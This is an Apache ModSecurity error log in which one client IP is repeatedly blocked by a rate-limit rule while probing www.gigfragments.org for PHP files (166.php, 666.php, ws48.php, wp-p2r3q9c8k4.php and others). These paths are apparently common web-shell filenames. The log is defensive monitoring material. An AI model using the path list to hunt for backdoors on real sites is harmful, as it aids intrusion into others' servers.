[Thu Apr 23 20:05:11.950316 2026] [:error] [pid 46953:tid 46976] [client 20.203.242.251:17995] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/166.php"] [unique_id "aeoK90nlpdHh-P6wKborUgAAAlQ"]
[Thu Apr 23 20:05:12.782215 2026] [:error] [pid 59700:tid 59719] [client 20.203.242.251:11343] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/166.php"] [unique_id "aeoK-JXyGZJFeAIDWtkXxQAAAVE"]
[Thu Apr 23 20:05:13.561945 2026] [:error] [pid 64967:tid 64983] [client 20.203.242.251:44160] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/term.php"] [unique_id "aeoK-YAV4GfOOdX8QzptxAAAAY4"]
[Thu Apr 23 20:05:15.042405 2026] [:error] [pid 42973:tid 43052] [client 20.203.242.251:44166] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/term.php"] [unique_id "aeoK-26I0QqmmmLTHE0DRgAAAIk"]
[Thu Apr 23 20:05:16.335806 2026] [:error] [pid 64967:tid 64992] [client 20.203.242.251:44904] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/term.php"] [unique_id "aeoK_IAV4GfOOdX8QzptxwAAAZc"]
[Thu Apr 23 20:05:18.113788 2026] [:error] [pid 59700:tid 59725] [client 20.203.242.251:21684] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/term.php"] [unique_id "aeoK_pXyGZJFeAIDWtkXzwAAAVc"]
[Thu Apr 23 20:05:19.846921 2026] [:error] [pid 43083:tid 43108] [client 20.203.242.251:1410] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aeoK_zC5hrvNXosL83JtUAAAANc"]
[Thu Apr 23 20:05:22.763032 2026] [:error] [pid 65000:tid 65048] [client 20.203.242.251:1457] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aeoLAr6vRb9j6psK2ZZFtAAAAg8"]
[Thu Apr 23 20:05:24.507398 2026] [:error] [pid 65000:tid 65038] [client 20.203.242.251:12053] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aeoLBL6vRb9j6psK2ZZFvwAAAgU"]
[Thu Apr 23 20:05:26.258200 2026] [:error] [pid 43083:tid 43100] [client 20.203.242.251:44182] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aeoLBjC5hrvNXosL83JtUwAAAM8"]
[Thu Apr 23 20:05:28.337268 2026] [:error] [pid 65000:tid 65055] [client 20.203.242.251:14920] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tt.php"] [unique_id "aeoLCL6vRb9j6psK2ZZFxwAAAhY"]
[Thu Apr 23 20:05:29.055114 2026] [:error] [pid 65000:tid 65031] [client 20.203.242.251:14956] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tt.php"] [unique_id "aeoLCb6vRb9j6psK2ZZFyAAAAgI"]
[Thu Apr 23 20:05:29.967530 2026] [:error] [pid 64998:tid 65005] [client 20.203.242.251:14913] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tt.php"] [unique_id "aeoLCYV5EysYcTLjmwhOmgAAAcM"]
[Thu Apr 23 20:05:30.660079 2026] [:error] [pid 42972:tid 43036] [client 20.203.242.251:21650] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tt.php"] [unique_id "aeoLCsOAb-3sOknsk4caiQAAAFQ"]
[Thu Apr 23 20:05:32.056819 2026] [:error] [pid 42972:tid 43025] [client 20.203.242.251:13288] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aeoLDMOAb-3sOknsk4cajgAAAEk"]
[Thu Apr 23 20:05:33.706477 2026] [:error] [pid 42972:tid 43031] [client 20.203.242.251:16609] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aeoLDcOAb-3sOknsk4cakQAAAE8"]
[Thu Apr 23 20:05:35.592089 2026] [:error] [pid 42972:tid 43019] [client 20.203.242.251:44887] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aeoLD8OAb-3sOknsk4calgAAAEM"]
[Thu Apr 23 20:05:36.688951 2026] [:error] [pid 42973:tid 43064] [client 20.203.242.251:24309] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aeoLEG6I0QqmmmLTHE0DXwAAAJU"]
[Thu Apr 23 20:05:37.925097 2026] [:error] [pid 46953:tid 46973] [client 20.203.242.251:16638] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aeoLEUnlpdHh-P6wKborYwAAAlE"]
[Thu Apr 23 20:05:39.545053 2026] [:error] [pid 65000:tid 65037] [client 20.203.242.251:15362] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aeoLE76vRb9j6psK2ZZF5AAAAgQ"]
[Thu Apr 23 20:05:41.064508 2026] [:error] [pid 42972:tid 43039] [client 20.203.242.251:42051] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aeoLFcOAb-3sOknsk4canAAAAFc"]
[Thu Apr 23 20:05:41.804980 2026] [:error] [pid 46953:tid 46966] [client 20.203.242.251:24317] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aeoLFUnlpdHh-P6wKborZwAAAko"]
[Thu Apr 23 20:05:43.283576 2026] [:error] [pid 59700:tid 59702] [client 20.203.242.251:42543] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeoLF5XyGZJFeAIDWtkX1wAAAUA"]
[Thu Apr 23 20:05:44.381431 2026] [:error] [pid 42973:tid 43049] [client 20.203.242.251:42514] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeoLGG6I0QqmmmLTHE0DbAAAAIY"]
[Thu Apr 23 20:05:46.665185 2026] [:error] [pid 64998:tid 65003] [client 20.203.242.251:1564] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeoLGoV5EysYcTLjmwhOxwAAAcE"]
[Thu Apr 23 20:05:48.927428 2026] [:error] [pid 65000:tid 65030] [client 20.203.242.251:13311] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeoLHL6vRb9j6psK2ZZGLwAAAgE"]
[Thu Apr 23 20:05:50.468087 2026] [:error] [pid 64998:tid 65020] [client 20.203.242.251:14234] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jga.php"] [unique_id "aeoLHoV5EysYcTLjmwhO0wAAAdI"]
[Thu Apr 23 20:05:53.026074 2026] [:error] [pid 65000:tid 65055] [client 20.203.242.251:13463] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jga.php"] [unique_id "aeoLIb6vRb9j6psK2ZZGTgAAAhY"]
[Thu Apr 23 20:05:57.425017 2026] [:error] [pid 25635:tid 25656] [client 20.203.242.251:13442] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jga.php"] [unique_id "aeoLJcRxv6UsgRGKB3ItygAAARE"]
[Thu Apr 23 20:06:02.096220 2026] [:error] [pid 43083:tid 43100] [client 20.203.242.251:15445] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jga.php"] [unique_id "aeoLKjC5hrvNXosL83JtYwAAAM8"]
[Thu Apr 23 20:06:03.551665 2026] [:error] [pid 64998:tid 65011] [client 20.203.242.251:11281] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "aeoLK4V5EysYcTLjmwhPBAAAAck"]
[Thu Apr 23 20:06:04.681539 2026] [:error] [pid 42973:tid 43049] [client 20.203.242.251:45511] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "aeoLLG6I0QqmmmLTHE0DngAAAIY"]
[Thu Apr 23 20:06:05.838757 2026] [:error] [pid 42972:tid 43020] [client 20.203.242.251:14262] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "aeoLLcOAb-3sOknsk4carwAAAEQ"]
[Thu Apr 23 20:06:06.546087 2026] [:error] [pid 59700:tid 59708] [client 20.203.242.251:17509] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "aeoLLpXyGZJFeAIDWtkX7AAAAUY"]
[Thu Apr 23 20:06:07.360803 2026] [:error] [pid 59700:tid 59719] [client 20.203.242.251:14248] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bmi.php"] [unique_id "aeoLL5XyGZJFeAIDWtkX7gAAAVE"]
[Thu Apr 23 20:06:42.933653 2026] [:error] [pid 65000:tid 65030] [client 20.203.242.251:1546] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "aeoLUr6vRb9j6psK2ZZHEwAAAgE"]
[Thu Apr 23 20:06:45.115655 2026] [:error] [pid 64998:tid 65006] [client 20.203.242.251:43086] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "aeoLVYV5EysYcTLjmwhPYgAAAcQ"]
[Thu Apr 23 20:06:48.763050 2026] [:error] [pid 64998:tid 65013] [client 20.203.242.251:15105] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "aeoLWIV5EysYcTLjmwhPbwAAAcs"]
[Thu Apr 23 20:06:52.188826 2026] [:error] [pid 46953:tid 46968] [client 20.203.242.251:14843] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "aeoLXEnlpdHh-P6wKborkgAAAkw"]
[Thu Apr 23 20:06:54.002338 2026] [:error] [pid 42972:tid 43021] [client 20.203.242.251:20425] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws48.php"] [unique_id "aeoLXsOAb-3sOknsk4cayAAAAEU"]
[Thu Apr 23 20:06:57.068841 2026] [:error] [pid 65000:tid 65046] [client 20.203.242.251:1167] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws48.php"] [unique_id "aeoLYb6vRb9j6psK2ZZHYgAAAg0"]
[Thu Apr 23 20:07:00.429875 2026] [:error] [pid 65000:tid 65044] [client 20.203.242.251:38905] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws48.php"] [unique_id "aeoLZL6vRb9j6psK2ZZHfgAAAgs"]
[Thu Apr 23 20:07:05.926487 2026] [:error] [pid 64998:tid 65022] [client 20.203.242.251:12470] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws48.php"] [unique_id "aeoLaYV5EysYcTLjmwhPfwAAAdQ"]
[Thu Apr 23 20:07:07.238720 2026] [:error] [pid 42971:tid 42995] [client 20.203.242.251:1179] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aeoLazEP2_5RswrH8bEhpwAAAAk"]
[Thu Apr 23 20:07:08.503854 2026] [:error] [pid 43083:tid 43092] [client 20.203.242.251:40777] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aeoLbDC5hrvNXosL83JthAAAAMc"]
[Thu Apr 23 20:07:09.386377 2026] [:error] [pid 42973:tid 43043] [client 20.203.242.251:39427] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aeoLbW6I0QqmmmLTHE0EDgAAAIA"]
[Thu Apr 23 20:07:10.009654 2026] [:error] [pid 64998:tid 65013] [client 20.203.242.251:2007] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aeoLboV5EysYcTLjmwhPhgAAAcs"]
[Thu Apr 23 20:07:11.068025 2026] [:error] [pid 43083:tid 43096] [client 20.203.242.251:35790] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dass.php"] [unique_id "aeoLbzC5hrvNXosL83JtiwAAAMs"]
[Thu Apr 23 20:07:12.402071 2026] [:error] [pid 64967:tid 64975] [client 20.203.242.251:12232] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dass.php"] [unique_id "aeoLcIAV4GfOOdX8Qzpt7wAAAYY"]
[Thu Apr 23 20:07:13.447257 2026] [:error] [pid 46953:tid 46976] [client 20.203.242.251:40776] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dass.php"] [unique_id "aeoLcUnlpdHh-P6wKbormwAAAlQ"]
[Thu Apr 23 20:07:14.721951 2026] [:error] [pid 59700:tid 59724] [client 20.203.242.251:35804] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dass.php"] [unique_id "aeoLcpXyGZJFeAIDWtkYEgAAAVY"]
[Thu Apr 23 20:07:15.705048 2026] [:error] [pid 64998:tid 65013] [client 20.203.242.251:40785] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoLc4V5EysYcTLjmwhPkQAAAcs"]
[Thu Apr 23 20:07:16.962587 2026] [:error] [pid 64967:tid 64978] [client 20.203.242.251:40827] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoLdIAV4GfOOdX8Qzpt8wAAAYk"]
[Thu Apr 23 20:07:17.847298 2026] [:error] [pid 46953:tid 46964] [client 20.203.242.251:17465] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoLdUnlpdHh-P6wKborngAAAkg"]
[Thu Apr 23 20:07:18.973986 2026] [:error] [pid 46953:tid 46959] [client 20.203.242.251:44835] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoLdknlpdHh-P6wKborogAAAkM"]
[Thu Apr 23 20:07:19.784636 2026] [:error] [pid 43083:tid 43096] [client 20.203.242.251:1171] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aeoLdzC5hrvNXosL83JtlgAAAMs"]
